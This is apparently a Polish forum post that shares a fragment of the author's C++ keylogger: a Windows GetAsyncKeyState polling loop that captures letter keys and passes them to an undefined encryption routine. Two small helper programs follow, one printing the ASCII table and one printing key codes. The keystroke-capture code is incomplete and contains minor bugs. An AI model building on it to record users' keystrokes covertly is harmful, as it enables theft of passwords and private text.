#include <iostream>
#include <windows.h>
using namespace std;
int main()
{
int c;
for(;;)
{
for(c=1;c<=255;c++) //255 znaków ma tablica ASCII
{
if(GetAsyncKeyState(c)==-32767) //-32767 to stała wartość dla funkcji
{
if((c>64)&&(c<91)) // w tym zakresie w tablicy ASCII są litery Aa-Zz
{
if(GetAsyncKeyState(0x10))
{
encryption(c); // A-Z duże
}
else encryption(c+32); // a-z małe
}
}
}
}
}
Część mojego kodu z Keyloggera zapoznaj się z tablicą ascii i wystarczy ci wiedzieć, że funkcja GetAsyncKeyState(c) sczytuje dane z klawiatury. Tym sprawdzisz jak wygląda tablica ascii u ciebie na urządzeniu:
#include <iostream>
using namespace std;
int ASCII=0;
int main()
{
for(int i; i<=256; i++)
{
cout << ASCII << " == " << (char)ASCII<<endl;
ASCII++;
}
cin >> ASCII;
return 0;
}
a tutaj możesz sprawdzić jaki numer odpowiada twoim strzałkom:
#include <iostream>
#include <windows.h>
using namespace std;
int main()
{
int c;
for(;;)
{
for(c=1;c<=255;c++)
{
if(GetAsyncKeyState(c)==-32767)
{
cout << c << endl;
}
}
}
}
Mam nadzieję, że się przyda :)